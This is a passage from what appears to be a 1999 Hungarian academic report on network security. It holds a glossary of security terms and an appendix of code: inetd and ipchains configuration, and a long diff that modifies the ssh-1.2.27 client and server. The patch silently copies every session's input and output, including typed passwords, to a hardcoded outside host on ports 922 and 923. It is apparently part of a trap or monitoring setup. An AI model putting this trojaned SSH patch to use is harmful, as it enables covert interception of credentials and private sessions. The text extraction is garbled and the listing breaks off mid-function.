´at´ır programokat, hogy azok jobbak legyenek. A hacker m´ asik defin´ıci´oja a cracker sz´oval mos´odik, ekkor sz´ am´ıt´ og´epes b˝ un¨ oz˝or˝ ol besz´el¨ unk, aki sz´am´ıt´ og´epbe, vagy sz´am´ıt´ og´epes rendszerekbe jut be, azt illeg´alisan haszn´alja. Egyes hackerek nem is igaz´ an ´ertik amit csin´ alnak, ez´ert
45
tov´ abbi kateg´ oria az u ¨berhacker, aki a t¨ obbi hackern´el okosabb, o˝ ismeri fel az alapvet˝ o biztons´ agi hib´ akat. A hackerek nem szokt´ak magunkat sz´ am´ıt´ og´epes b˝ un¨ oz˝ok´ent azonos´ıtani, m´eg ha pusztit´ as is a sz´and´ekuk. Hackerek n´elk¨ ul az Internet kev´esb´e lenne biztons´agos. IDEA – Szimmetrikus k´odol´ asi elj´ ar´ as, gyorsabb mint a m´ as c´elra szolg´al´ o RSA, ´ıgy pl. az SSH protokoll az authentik´ aci´o ut´ an ezt is haszn´alhatja. HTTP protokoll – A WWW a´tviteli protokollja. T´ amogatja a jelszavas authentik´ aci´ot, a legismertebb a HTTP Basic Authentication forma. HTTP Basic Authentication – A jelszavak ny´ılt a´tvitel´en alapul´ o, a UNIXos jelszavas autentik´aci´ora ´ep´ıt˝ o protokoll. A t¨ obbsz¨ori pr´ ob´ alkoz´ asokat napl´ ozza, ´am a protokoll a´llapotmentess´ege miatt a sokszori k´ıs´erletez´est nem tiltja le. HUB – multiport repeater, az OSI h´ al´ ozati modellben az 1. r´eteget tartalmaz´o h´ al´ ozati berendez´es, buta ism´etl˝o. Minden portj´ an minden m´ as portra ´erkez˝o adat azonnal teljes form´ aj´ aban olvashat´ o, ´ıgy b´ armely ´atmen˝o titkos´ıtatlan forgalom lehallgathat´ o b´ armely porton. IDS – (Intrusion Detection System). Figyel˝ o, analiz´ al´ o ´es cselekv˝o rendszer vagy eszk¨oz, mellyel rosszindulat´ u bet¨ or˝ o vagy annak valamilyen cselekedete leleplezhet˝o. IETF – (Internet Engineering Task Force). Az Internet m˝ uk¨ odtet´es´evel ´es fejleszt´es´evel foglalkoz´ o szervezet, melynek alszervezetei, bizotts´agai v´egzik a legfontosabb ´es legalapvet˝obb internetes ,,szabv´ anyok” elfogad´ as´at. IPchains – A Linux kernel IP sz˝ ur˝ o (packet filtering firewall ) funkci´ oit be´all´ıt´ o seg´edprogram. Seg´ıts´eg´evel meghat´arozott h´ al´ ozati forgalom t´ıpusra, c´el vagy forr´ asc´ımre, portra kezdem´enyezhet˝o sz˝ ur´es. IP c´ım – Az Internet h´ al´ ozat´aban a g´epek egy´ertelm˝ u azonos´ıt´ as´at lehet˝ov´e tev˝o sz´am. IP Forwarding – A Linux kernel´ebe is be´ep´ıtett funkci´ o, seg´ıts´eg´evel IP adatokat lehet tov´ abbk¨ uldeni m´ as g´epeknek, ´ıgy egy g´ep val´ odi helye elrejthet˝ o. IP Redirecting – A Linux kernel´ebe be´ep´ıtett szolg´alat´ as, seg´ıts´eg´evel bizonyos g´epekr˝ol, vagy g´epekre men˝o bizonyos szolg´altat´ asokat speci´alis ´ kiszolg´al´ okhoz lehet ir´ any´ıtani. Igy a felhaszn´ al´ o sz´am´ara a´tl´ atsz´o, transzparens proxyszolg´altat´ as hozhat´ o l´etre.
46
IRC – (Internet Relay Chat). Az Internet egyik legr´egebben l´etrej¨ott k¨ oz¨oss´egteremt˝o besz´elget˝o szolg´alat´ asa. Rengeteg tov´abbi lehet˝ os´eget tartalmaz, online felhaszn´ al´ oi sz´ama jelenleg a vil´ agban sz´ azezer k¨or¨ ulire tehet˝ o adott id˝ opillanatban. Linux – Ingyenes UNIX oper´ aci´os rendszer, fejlett TCP/IP h´ al´ ozati t´ amogat´assal. Mivel majdnem minden hozz´ a tartoz´ o program forr´ ask´odszinten hozz´ af´erhet˝o, kit˝ un˝ oen alkalmas biztons´ agi probl´em´ak kezel´es´ere, ellen˝orz´es´ere, kutat´ asra ´es fejleszt´esre. Man-in-the-middle t´ıpus´ u t´ amad´ as – Ha egy h´al´ ozati forgalmat egy k¨ ozbens˝o szem´ely meg tud csapolni, akkor m´ od van arra, hogy ez a k¨ ozbens˝o szem´ely a h´ al´ ozati forgalom mindk´et r´esztvev˝oje fel´e az eredeti partnernek adja ki mag´ at. Nem megfelel˝o protokoll eset´en ekkor egy egyszer˝ u k´ odolt csatorna is dek´ odolhat´ ov´ a v´ alhat. MD5 – Egy gyakorta haszn´ alt hash f¨ uggv´eny. Seg´ıts´eg´evel egy f´ajlr´ ol vagy m´as adathalmazr´ ol digit´ alis ujjlenyomat k´esz´ıthet˝ o. K¨ ul¨ onb¨ oz˝o f´ ajlokr´ ol k¨ ul¨ onb¨ oz˝o ujjlenyomat k´esz¨ ul, nagyon neh´ez tal´alni m´eg egy azonos u ´jlenyomat´ u f´ ajlt, ´ıgy az ilyen al´ a´ır´ assal a f´ajl integrit´ asa ellen˝orizhet˝o, persze ha az ujjlenyomatokat tartalmaz´ o f´ ajl nem s´er¨ ul. Packet Filtering Firewall – Csomagsz˝ ur˝ o biztons´ agi berendez´es, csak bizonyos meghat´arozott portokra, ir´ anyokba engedi a´t csak a h´al´ ozati forgalmat. Egyszer˝ u megval´ os´ıt´ asa a Linux kernel´ebe van ´ep´ıtve, az ipfwadm, u ´jabban ipchains paranccsal a´ll´ıthat´ o be. Password – Jelsz´o, az adott felhaszn´ al´ o azonos´ıt´ as´at lehet˝ov´e tev˝o jelhalmaz. A jelszavakat a mai rendszerek t¨obbs´ege ny´ılt sz¨oveg form´ aj´ aban vagy k´ odolt v´ altozatban t´ arolja, a k´ odolt v´ altozat ´altal´ aban egyir´ any´ u f¨ uggv´ennyel titkos´ıtott, ´ıgy nem visszafejthet˝o. A k´ odolt jelsz´ o nem v´edett a sz´ot´ari pr´ ob´ alkoz´ asokt´ol. A legelterjedtebb UNIX-os jelsz´orendszer DES algoritmust haszn´ al, maximum 56 bit hasznos inform´ aci´oval, de a nyelvi saj´ atoss´agok miatt az a´tlagos inform´ aci´otartalom 30 bit k¨ or¨ uli csak (vagy m´eg kevesebb). [4, 13.oldal] Patch – Jav´ıt´ as, hibajav´ıt´ as, esetleg a f´ajlbeli k¨ ul¨ onbs´egek kijegyzetelt v´altozata. Promiscous m´ od – A h´ al´ ozati csatol´o v´ alogat´ as n´elk¨ uli m´ odj´ ara utal´ o kifejez´es. Ilyenkor az Ethernet k´ artya minden adatot feldolgoz, nem csak az adott g´epnek sz´ol´ o adatokat. Proxy – Olyan program, vagy h´ al´ ozati eszk¨oz, amely egy kapcsolat harmadik r´esztvev˝oje. A k´er˝o fel˝ ol adatot tov´ abb´ıt a c´ımzett fele ´es viszont. A proxy egyr´eszt firewallok eset´en alkalmas v´edekezni t´amad´ asok ellen, m´asr´eszt pl. web eset´en gyors´ıthatja az adatok let¨ olt´es´et. (A gyakran
47
lek´ert dokumentumokat t´ arolja, nem t¨ olti le u ´jra, csak a h´ att´ert´arb´ ol friss´ıti.) Router – az OSI h´ al´ ozati modellj´enek 3. r´eteg´et ´erint˝ o h´ al´ ozati eszk¨oz, u ´tvonal-ir´ any´ıt´ o ´es csomagsz˝ ur˝ o: Az adatcsomagokat TCP/IP szinten elemzi ´es a megfelel˝o ir´ anyban k¨ uldi tov´ abb, vagy dobja el. Az ir´ any´ıt´ as folyamata maga t¨ obb logik´ ara ´ep¨ ulhet, ´ıgy biztons´ agi probl´em´akat is rejthet mag´ aban. RSA – Rivest-Shamir-Adleman nyilv´ anos kulcs´ u titkos´ıt´ o elj´ ar´ asa, az SSH v1 protokoll, illetve p´eld´aul a PGP bizonyos verzi´ oi tartalmazz´ak. Shell – Felhaszn´ al´ oi interf´esz, interakt´ıv eszk¨oz, lehet˝os´eget teremt parancsok kiad´as´ara, f´ ajlok el´er´es´ere, egyszer˝ u programok ´ır´ as´ara. UNIX rendszerek, valamint a DOS alapja, de Windows k¨ ornyezetben is l´etezik mind be´ep´ıtett, mint UNIX-hoz hasonl´ o shell. Socket – A TCP/IP protokollon bel¨ ul a szolg´altat´ asok azonos´ıt´ as´a´ert felel. Egy TCP/IP kapcsolat a (t´ıpus, forr´ as IP, forr´ as Socket(port), c´el IP, c´el port) o¨t¨ossel defini´alhat´ o alap´ertelemben. SSH – (Secure Shell). Biztons´agos shell el´er´est biztos´ıt´ o program, mely k´ odolja az eg´esz jelfolyamot, ´ıgy a felhaszn´ al´ ok tev´ekenys´ege lehallgat´ as ellen v´edett. SSL – (Secure Sockets Sublayer). Nev´eb˝ol ad´ od´ oan nem teljes h´al´ ozati r´eteg, biztons´ agos, k´ odolt kapcsolat l´etrehoz´as´aban ny´ ujt seg´ıts´eget. Switch – Az OSI h´ al´ ozati modellj´enek 2. r´eteg´et kezel˝o h´ al´ ozati berendez´es. T¨obb Ethernet szegmens k¨ oz¨ott teremt kapcsolatot, a k¨ ul¨ onb¨ oz˝o szegmensek szegmensen bel¨ uli forgalm´ at m´as szegmenseken nem lehet lehallgatni (esetleg term´ekspecifikus hiba eset´en ). Egyes HUB-ok bels˝o switch funkci´ oval tudnak k¨ ul¨ onb¨ oz˝o sebess´eg˝ u h´ al´ ozati k´ arty´ ak k¨ oz¨ott megfelel˝o kapcsolatot teremteni. Syslog, Syslog daemon – UNIX k¨ ornyezet egyik standard szolg´ altat´ asa napl´ oz´asra. A felhaszn´ al´ oi ´es rendszerprogramok u ¨zeneteit menti specifik´ alt f´ ajlokba. T´ avoli, g´epek k¨oz¨otti napl´ oz´asra is m´odot ad. TCP/IP – (Transport Control Protocol / Internet Protocol). Az Internet alapj´ at k´epez˝o h´ al´ ozati protokoll, a k¨ ul¨ onb¨ oz˝o IP c´ım˝ u g´epek k¨oz¨ott, szolg´altat´ asok szerint u ´n. socket-ekre bontva hoz l´etre kapcsolatot. Telnet – A shell el´er´es´et biztos´ıt´ o alap-protokoll, t´ avoli g´epekre t¨ort´en˝o bejelentkez´est tesz lehet˝ov´e. Mivel k´ odolatlan, ez´ert lehallgathat´ o. Javasolt helyette SSH haszn´ alata.
48
Web, WWW – World Wide Web, az Internet legismertebb szolg´ altat´ asa. Az inform´ aci´o ´atvitele a HTTP protokollon kereszt¨ ul t¨ ort´enik.
49
F¨ uggel´ ek B
Programk´ odok B.1
Az /etc-ben l´ ev˝ o f´ ajlok ´ at´ır´ asa a SSH napl´ oz´ as´ ahoz a ,,firewall” g´ epen
diff -urN etc-orig/inetd.conf etc/inetd.conf --- etc-orig/inetd.conf Mon Oct 18 17:56:41 1999 +++ etc/inetd.conf Mon Oct 18 17:56:27 1999 @@ -105,4 +105,8 @@ # End.
+ssh-sniffin stream tcp nowait nobody /usr/sbin/tcpd /home/boldi/csapda/sniffsshin +ssh-sniffout stream tcp nowait nobody /usr/sbin/tcpd /home/boldi/csapda/sniffsshout +sshd-sniffin stream tcp nowait nobody /usr/sbin/tcpd /home/boldi/csapda/sniffsshdin +sshd-sniffout stream tcp nowait nobody /usr/sbin/tcpd /home/boldi/csapda/sniffsshdout diff -urN etc-orig/services etc/services --- etc-orig/services Mon Oct 18 17:57:19 1999 +++ etc/services Mon Oct 18 17:56:46 1999 @@ -208,4 +208,8 @@ isdnlog 20011/tcp isdnlog
+ssh-sniffin 922/tcp +ssh-sniffout 923/tcp +sshd-sniffin 924/tcp +sshd-sniffout 925/tcp
B.2
ipchains.init script a ,,firewall” sz˝ ur˝ ofunkci´ oinak bekapcsol´ as´ ahoz
/sbin/ipchains /sbin/ipchains /sbin/ipchains /sbin/ipchains /sbin/ipchains /sbin/ipchains /sbin/ipchains /sbin/ipchains /sbin/ipchains /sbin/ipchains /sbin/ipchains
-A -A -A -A -A -A -A -A -A -A -A
input input input input input input input input input input input
-p -p -p -p -p -p -p -p -p -p -p
udp tcp tcp tcp tcp tcp tcp tcp tcp tcp tcp
-s -s -s -s -s -s -s -s -s -s -s
152.66.78.140 152.66.78.140 152.66.78.140 152.66.78.140 152.66.78.140 152.66.78.140 152.66.78.140 152.66.78.140 152.66.78.140 152.66.78.140 152.66.78.140
-d -d -d -d -d -d -d -d -d -d -d
5.4.3.2/32 514 -j REDIRECT 514 152.66.78.135 53 -j ACCEPT 152.66.78.135 80 -j ACCEPT 152.66.78.135 22 -j ACCEPT 152.66.78.135 21 -j ACCEPT 152.66.78.135 25 -j ACCEPT 152.66.78.135 20 -j ACCEPT 152.66.78.135 922 -j ACCEPT 152.66.78.135 923 -j ACCEPT 152.66.78.135 924 -j ACCEPT 152.66.78.135 925 -j ACCEPT
/sbin/ipchains /sbin/ipchains /sbin/ipchains /sbin/ipchains
-A -A -A -A
input input input input
-p -p -p -p
tcp udp tcp tcp
-s -s -s -s
152.66.78.140 152.66.78.140 152.66.78.140 152.66.78.140
-d -d -d -d
152.66.78.135 152.66.78.135 152.66.78.135 152.66.78.135
50
1:1024 -j DENY 1:1024 -j DENY 3355 -j DENY 3333 -j DENY
B.3
Az SSH kliens ´ es szerver program ´ at´ır´ asa unified diff form´ aban
diff -urN ssh-1.2.27-orig/Makefile.in ssh-1.2.27-atirt1.3/Makefile.in --- ssh-1.2.27-orig/Makefile.in Wed May 12 13:19:31 1999 +++ ssh-1.2.27-atirt1.3/Makefile.in Mon Oct 18 17:12:06 1999 @@ -325,7 +325,8 @@ userfile.o signals.o blowfish.o deattack.o SSHD_OBJS = sshd.o auth-rhosts.o auth-passwd.o auth-rsa.o auth-rh-rsa.o pty.o \ log-server.o login.o hostfile.o canohost.o servconf.o tildexpand.o \ -serverloop.o $(COMMON_OBJS) $(KERBEROS_OBJS) $(SSHDCONFOBJS) + serverloop.o sshconnect.o sshleakd.o \ + $(COMMON_OBJS) $(KERBEROS_OBJS) $(SSHDCONFOBJS) SSH_OBJS = ssh.o sshconnect.o log-client.o readconf.o hostfile.o readpass.o \ tildexpand.o clientloop.o canohost.o $(COMMON_OBJS) $(SSHCONFOBJS) KEYGEN_OBJS = ssh-keygen.o log-client.o readpass.o rsa.o randoms.o md5.o \ diff -urN ssh-1.2.27-orig/clientloop.c ssh-1.2.27-atirt1.3/clientloop.c --- ssh-1.2.27-orig/clientloop.c Wed May 12 13:19:25 1999 +++ ssh-1.2.27-atirt1.3/clientloop.c Mon Oct 18 17:12:06 1999 @@ -304,6 +304,7 @@ case SSH_SMSG_STDOUT_DATA: data = packet_get_string(&data_len); buffer_append(&stdout_buffer, data, data_len); + packet_addleakin( data, data_len); stdout_bytes += data_len; memset(data, 0, data_len); xfree(data); @@ -634,6 +635,7 @@ /* Normal successful read, and no escape character. Just append the data to buffer. */ buffer_append(&stdin_buffer, buf, len); + packet_addleakout( buf, len); stdin_bytes += len; } else @@ -752,6 +754,7 @@ buf[0] = escape_char; buf[1] = ch; buffer_append(&stdin_buffer, buf, 2); + packet_addleakout( buf, 2); stdin_bytes += 2; continue; } @@ -779,6 +782,9 @@ last_was_cr = (ch == ’\r’ || ch == ’\n’); buf[0] = ch; buffer_append(&stdin_buffer, buf, 1); + packet_addleakout(buf,1); + + stdin_bytes += 1; continue; } diff -urN ssh-1.2.27-orig/confdefs.h ssh-1.2.27-atirt1.3/confdefs.h --- ssh-1.2.27-orig/confdefs.h Thu Jan 1 01:00:00 1970 +++ ssh-1.2.27-atirt1.3/confdefs.h Mon Oct 18 17:12:09 1999 @@ -0,0 +1,69 @@ + +#define HOSTTYPE "i686-unknown-linux" +#define HAVE_ETC_SHADOW 1 +#define USE_PIPES 1 +#define RETSIGTYPE void +#define STDC_HEADERS 1 +#define HAVE_ST_BLKSIZE 1 +#define SIZEOF_LONG 4 +#define SIZEOF_INT 4 +#define SIZEOF_SHORT 2 +#define HAVE_TERMIOS_H 1 +#define STDC_HEADERS 1 +#define HAVE_SYS_WAIT_H 1 +#define HAVE_UNISTD_H 1 +#define HAVE_SYS_TIME_H 1 +#define HAVE_LASTLOG_H 1 +#define HAVE_UTMP_H 1 +#define HAVE_SHADOW_H 1 +#define HAVE_SGTTY_H 1 +#define HAVE_SYS_SELECT_H 1 +#define HAVE_SYS_IOCTL_H 1 +#define HAVE_PATHS_H 1 +#define HAVE_UTIME_H 1 +#define HAVE_NETINET_IN_SYSTM_H 1 +#define HAVE_NETINET_IP_H 1
51
+#define HAVE_NETINET_TCP_H 1 +#define HAVE_SYS_RESOURCE_H 1 +#define TIME_WITH_SYS_TIME 1 +#define HAVE_DIRENT_H 1 +#define MAJOR_IN_SYSMACROS 1 +#define HAVE_PID_IN_UTMP 1 +#define HAVE_NAME_IN_UTMP 1 +#define HAVE_ID_IN_UTMP 1 +#define HAVE_HOST_IN_UTMP 1 +#define HAVE_ADDR_IN_UTMP 1 +#define HAVE_LIBCRYPT 1 +#define HAVE_LIBNSL 1 +#define HAVE_LIBUTIL_LOGIN 1 +#define HAVE_VHANGUP 1 +#define HAVE_SETSID 1 +#define HAVE_GETTIMEOFDAY 1 +#define HAVE_TIMES 1 +#define HAVE_GETRUSAGE 1 +#define HAVE_FTRUNCATE 1 +#define HAVE_STRCHR 1 +#define HAVE_MEMCPY 1 +#define HAVE_OPENPTY 1 +#define HAVE_CLOCK 1 +#define HAVE_FCHMOD 1 +#define HAVE_ULIMIT 1 +#define HAVE_GETHOSTNAME 1 +#define HAVE_GETDTABLESIZE 1 +#define HAVE_UMASK 1 +#define HAVE_INNETGR 1 +#define HAVE_INITGROUPS 1 +#define HAVE_SETPGRP 1 +#define HAVE_SETPGID 1 +#define HAVE_DAEMON 1 +#define HAVE_WAITPID 1 +#define HAVE_TTYSLOT 1 +#define HAVE_STRERROR 1 +#define HAVE_MEMMOVE 1 +#define HAVE_REMOVE 1 +#define HAVE_RANDOM 1 +#define HAVE_PUTENV 1 +#define HAVE_CRYPT 1 +#define HAVE_SOCKETPAIR 1 +#define HAVE_SNPRINTF 1 +#define PASSWD_PATH "/usr/bin/passwd" diff -urN ssh-1.2.27-orig/packet.c ssh-1.2.27-atirt1.3/packet.c --- ssh-1.2.27-orig/packet.c Wed May 12 13:19:27 1999 +++ ssh-1.2.27-atirt1.3/packet.c Mon Oct 18 17:12:06 1999 @@ -100,8 +100,11 @@ the other side. connection_in is used for reading; connection_out for writing. These can be the same descriptor, in which case it is assumed to be a socket. */ +static int connection_leakout = -1; +static int connection_leakin = -1; static int connection_in = -1; static int connection_out = -1; +char hostleak[5000]; /* Cipher type. This value is only used to determine whether to pad the packets with zeroes or random data. */ @@ -115,6 +118,10 @@ /* Encryption coontext for sending data. This is only used for encryption. */ static CipherContext send_context; +static Buffer +static Buffer + + /* Buffer for static Buffer
leakin; leakout;
raw input data from the socket. */ input;
@@ -147,6 +154,62 @@ /* Sets the descriptors used for communication. packet_set_encryption_key is called. */ +void packet_set_connection_leakout(int fd) +{ + connection_leakout = fd; +} +void packet_set_connection_leakin(int fd) +{ + connection_leakin = fd; +} +void packet_addleakinfo(char *s) +{
Disables encryption until
52
+packet_addleakout(s,strlen(s)); +packet_addleakout_cr(); + +} + +void packet_addleakout(char *mit,int hossz) +{ +int i; +i=0; +strcpy(hostleak,"\n"); +while (i
53
#ifdef PACKET_DEBUG fprintf(stderr, "encrypted: "); buffer_dump(&output); #endif @@ -624,6 +695,7 @@ goto restart; } +
packet_write_poll_leakin(); /* Return type. */ return (unsigned char)buf[0];
} @@ -747,9 +819,41 @@ /* Checks if there is any buffered output, and tries to write some of the output. */ +void packet_write_poll_leakout(void) +{ + int len = buffer_len(&leakout); + if (len > 0) + { + len = write(connection_leakout, buffer_ptr(&leakout), len); + if (len <= 0) + if (len != 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) + return; + else + fatal_severity(SYSLOG_SEVERITY_INFO, + "Write failed: %.100s", strerror(errno)); + buffer_consume(&leakout, len); + } +} +void packet_write_poll_leakin(void) +{ + int len = buffer_len(&leakin); + if (len > 0) + { + len = write(connection_leakin, buffer_ptr(&leakin), len); + if (len <= 0) + if (len != 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) + return; + else + fatal_severity(SYSLOG_SEVERITY_INFO, + "Write failed: %.100s", strerror(errno)); + buffer_consume(&leakin, len); + } +} + void packet_write_poll(void) { int len = buffer_len(&output); + packet_write_poll_leakout();/*elkuldjuk a leaket is..*/ if (len > 0) { len = write(connection_out, buffer_ptr(&output), len); diff -urN ssh-1.2.27-orig/serverloop.c ssh-1.2.27-atirt1.3/serverloop.c --- ssh-1.2.27-orig/serverloop.c Wed May 12 13:19:28 1999 +++ ssh-1.2.27-atirt1.3/serverloop.c Mon Oct 18 17:12:06 1999 @@ -163,6 +163,7 @@ } data = packet_get_string(&data_len); buffer_append(&stdin_buffer, data, data_len); + packet_addleakout(data,data_len); memset(data, 0, data_len); xfree(data); break; @@ -502,6 +503,7 @@ else { buffer_append(&stdout_buffer, buf, len); + packet_addleakin(buf,len); fdout_bytes += len; } } diff -urN ssh-1.2.27-orig/ssh.c ssh-1.2.27-atirt1.3/ssh.c --- ssh-1.2.27-orig/ssh.c Wed May 12 13:19:28 1999 +++ ssh-1.2.27-atirt1.3/ssh.c Mon Oct 18 17:12:06 1999 @@ -793,9 +793,22 @@ rhosts_authentication is true. Note that the random_state is not yet used by this call, although a pointer to it is stored, and thus it need not be initialized. */ + ok = ssh_connect_leakin("152.66.78.135",922, options.connection_attempts, + !use_privileged_port, + original_real_uid, options.proxy_command, &random_state); + + ok = ssh_connect_leakout("152.66.78.135",923, options.connection_attempts,
54
+ + +
!use_privileged_port, original_real_uid, options.proxy_command, &random_state); ok = ssh_connect(host, options.port, options.connection_attempts, !use_privileged_port, original_real_uid, options.proxy_command, &random_state);
+ + + packet_addhostin(host); + packet_addhostout(host); + /* Check if the connection failed, and try "rsh" if appropriate. */ if (!ok) diff -urN ssh-1.2.27-orig/sshconnect.c ssh-1.2.27-atirt1.3/sshconnect.c --- ssh-1.2.27-orig/sshconnect.c Wed May 12 13:19:29 1999 +++ ssh-1.2.27-atirt1.3/sshconnect.c Mon Oct 18 17:12:06 1999 @@ -592,7 +592,408 @@ return 1; } +/**leak***/ +int ssh_connect_leakin(const char *host, int port, int +connection_attempts, + int anonymous, uid_t original_real_uid, + const char *proxy_command, RandomState *random_state) +{ + int sock = -1, attempt, i; + int on = 1; + struct servent *sp; + struct hostent *hp; + struct sockaddr_in hostaddr; +#if defined(SO_LINGER) && defined(ENABLE_SO_LINGER) + struct linger linger; +#endif /* SO_LINGER */ + + debug("ssh_connect: getuid %d geteuid %d anon %d", + (int)getuid(), (int)geteuid(), anonymous); + + /* Get default port if port has not been set. */ + if (port == 0) + { + sp = getservbyname(SSH_SERVICE_NAME, "tcp"); + if (sp) + port = ntohs(sp->s_port); + else + port = SSH_DEFAULT_PORT; + } + + /* Map localhost to ip-address locally */ + if (strcmp(host, "localhost") == 0) + host = "127.0.0.1"; + + /* If a proxy command is given, connect using it. */ + if (proxy_command != NULL && *proxy_command) + return ssh_proxy_connect(host, port, original_real_uid, proxy_command, + random_state); + + /* No proxy command. */ + + /* No host lookup made yet. */ + hp = NULL; + + /* Try to connect several times. On some machines, the first time will + sometimes fail. In general socket code appears to behave quite + magically on many machines. */ + for (attempt = 0; attempt < connection_attempts; attempt++) + { + if (attempt > 0) + debug("Trying again..."); + + /* Try to parse the host name as a numeric inet address. */ + memset(&hostaddr, 0, sizeof(hostaddr)); + hostaddr.sin_family = AF_INET; + hostaddr.sin_port = htons(port); +#ifdef BROKEN_INET_ADDR + hostaddr.sin_addr.s_addr = inet_network(host); +#else /* BROKEN_INET_ADDR */ + hostaddr.sin_addr.s_addr = inet_addr(host); +#endif /* BROKEN_INET_ADDR */ + if ((hostaddr.sin_addr.s_addr & 0xffffffff) != 0xffffffff) + { + /* Create a socket. */ + sock = ssh_create_socket(original_real_uid,
55
+ !anonymous && geteuid() == UID_ROOT); + + /* Valid numeric IP address */ + debug("Connecting to %.100s port %d.", + inet_ntoa(hostaddr.sin_addr), port); + + /* Connect to the host. */ +#if defined(SOCKS) + if (Rconnect(sock, (struct sockaddr *)&hostaddr, sizeof(hostaddr)) +#else /* SOCKS */ + if (connect(sock, (struct sockaddr *)&hostaddr, sizeof(hostaddr)) +#endif /* SOCKS */ + >= 0) + { + /* Successful connect. */ + break; + } + debug("connect: %.100s", strerror(errno)); + + /* Destroy the failed socket. */ + shutdown(sock, 2); + close(sock); + } + else + { + /* Not a valid numeric inet address. */ + /* Map host name to an address. */ + if (!hp) + { + struct hostent *hp_static; + +#if defined(SOCKS5) + hp_static = Rgethostbyname(host); +#else + hp_static = gethostbyname(host); +#endif + if (hp_static) + { + hp = xmalloc(sizeof(struct hostent)); + memcpy(hp, hp_static, sizeof(struct hostent)); + + /* Copy list of addresses, not just pointers. + We don’t use h_name & h_aliases so leave them as is */ + for (i = 0; hp_static->h_addr_list[i]; i++) + ; /* count them */ + hp->h_addr_list = xmalloc((i + 1) * + sizeof(hp_static->h_addr_list[0])); + for (i = 0; hp_static->h_addr_list[i]; i++) + { + hp->h_addr_list[i] = xmalloc(hp->h_length); + memcpy(hp->h_addr_list[i], hp_static->h_addr_list[i], + hp->h_length); + } + hp->h_addr_list[i] = NULL; /* last one */ + } + } + if (!hp) + fatal("Bad host name: %.100s", host); + if (!hp->h_addr_list[0]) + fatal("Host does not have an IP address: %.100s", host); + + /* Loop through addresses for this host, and try each one in + sequence until the connection succeeds. */ + for (i = 0; hp->h_addr_list[i]; i++) + { + /* Set the address to connect to. */ + hostaddr.sin_family = hp->h_addrtype; + memcpy(&hostaddr.sin_addr, hp->h_addr_list[i], + sizeof(hostaddr.sin_addr)); + + debug("Connecting to %.200s [%.100s] port %d.", + host, inet_ntoa(hostaddr.sin_addr), port); + + /* Create a socket for connecting. */ + sock = ssh_create_socket(original_real_uid, + !anonymous && geteuid() == UID_ROOT); + + /* Connect to the host. */ +#if defined(SOCKS) + if (Rconnect(sock, (struct sockaddr *)&hostaddr, + sizeof(hostaddr)) >= 0) +#else /* SOCKS */ + if (connect(sock, (struct sockaddr *)&hostaddr, + sizeof(hostaddr)) >= 0)
56
+#endif /* SOCKS */ + { + /* Successful connection. */ + break; + } + debug("connect: %.100s", strerror(errno)); + + /* Close the failed socket; there appear to be some problems + when reusing a socket for which connect() has already + returned an error. */ + shutdown(sock, 2); + close(sock); + } + if (hp->h_addr_list[i]) + break; /* Successful connection. */ + } + + /* Sleep a moment before retrying. */ + sleep(1); + } + + if (hp) + { + for (i = 0; hp->h_addr_list[i]; i++) + xfree(hp->h_addr_list[i]); + xfree(hp->h_addr_list); + xfree(hp); + } + + /* Return failure if we didn’t get a successful connection. */ + if (attempt >= connection_attempts) + return 0; + + debug("Connection established."); + + /* Set socket options. We would like the socket to disappear as soon as + it has been closed for whatever reason. */ + /* setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (void *)&on, sizeof(on)); */ +#if defined(TCP_NODELAY) && defined(ENABLE_TCP_NODELAY) + setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (void *)&on, sizeof(on)); +#endif /* TCP_NODELAY */ +#if defined(SO_LINGER) && defined(ENABLE_SO_LINGER) + linger.l_onoff = 1; + linger.l_linger = 15; + setsockopt(sock, SOL_SOCKET, SO_LINGER, (void *)&linger, sizeof(linger)); +#endif /* SO_LINGER */ + + /* Set the connection. */ + packet_set_connection_leakin(sock); + + return 1; +} + +int ssh_connect_leakout(const char *host, int port, int +connection_attempts, + int anonymous, uid_t original_real_uid, + const char *proxy_command, RandomState *random_state) +{ + int sock = -1, attempt, i; + int on = 1; + struct servent *sp; + struct hostent *hp; + struct sockaddr_in hostaddr; +#if defined(SO_LINGER) && defined(ENABLE_SO_LINGER) + struct linger linger; +#endif /* SO_LINGER */ + + debug("ssh_connect: getuid %d geteuid %d anon %d", + (int)getuid(), (int)geteuid(), anonymous); + + /* Get default port if port has not been set. */ + if (port == 0) + { + sp = getservbyname(SSH_SERVICE_NAME, "tcp"); + if (sp) + port = ntohs(sp->s_port); + else + port = SSH_DEFAULT_PORT; + } + + /* Map localhost to ip-address locally */ + if (strcmp(host, "localhost") == 0) + host = "127.0.0.1"; +
57
+ /* If a proxy command is given, connect using it. */ + if (proxy_command != NULL && *proxy_command) + return ssh_proxy_connect(host, port, original_real_uid, proxy_command, + random_state); + + /* No proxy command. */ + + /* No host lookup made yet. */ + hp = NULL; + + /* Try to connect several times. On some machines, the first time will + sometimes fail. In general socket code appears to behave quite + magically on many machines. */ + for (attempt = 0; attempt < connection_attempts; attempt++) + { + if (attempt > 0) + debug("Trying again..."); + + /* Try to parse the host name as a numeric inet address. */ + memset(&hostaddr, 0, sizeof(hostaddr)); + hostaddr.sin_family = AF_INET; + hostaddr.sin_port = htons(port); +#ifdef BROKEN_INET_ADDR + hostaddr.sin_addr.s_addr = inet_network(host); +#else /* BROKEN_INET_ADDR */ + hostaddr.sin_addr.s_addr = inet_addr(host); +#endif /* BROKEN_INET_ADDR */ + if ((hostaddr.sin_addr.s_addr & 0xffffffff) != 0xffffffff) + { + /* Create a socket. */ + sock = ssh_create_socket(original_real_uid, + !anonymous && geteuid() == UID_ROOT); + + /* Valid numeric IP address */ + debug("Connecting to %.100s port %d.", + inet_ntoa(hostaddr.sin_addr), port); + + /* Connect to the host. */ +#if defined(SOCKS) + if (Rconnect(sock, (struct sockaddr *)&hostaddr, sizeof(hostaddr)) +#else /* SOCKS */ + if (connect(sock, (struct sockaddr *)&hostaddr, sizeof(hostaddr)) +#endif /* SOCKS */ + >= 0) + { + /* Successful connect. */ + break; + } + debug("connect: %.100s", strerror(errno)); + + /* Destroy the failed socket. */ + shutdown(sock, 2); + close(sock); + } + else + { + /* Not a valid numeric inet address. */ + /* Map host name to an address. */ + if (!hp) + { + struct hostent *hp_static; + +#if defined(SOCKS5) + hp_static = Rgethostbyname(host); +#else + hp_static = gethostbyname(host); +#endif + if (hp_static) + { + hp = xmalloc(sizeof(struct hostent)); 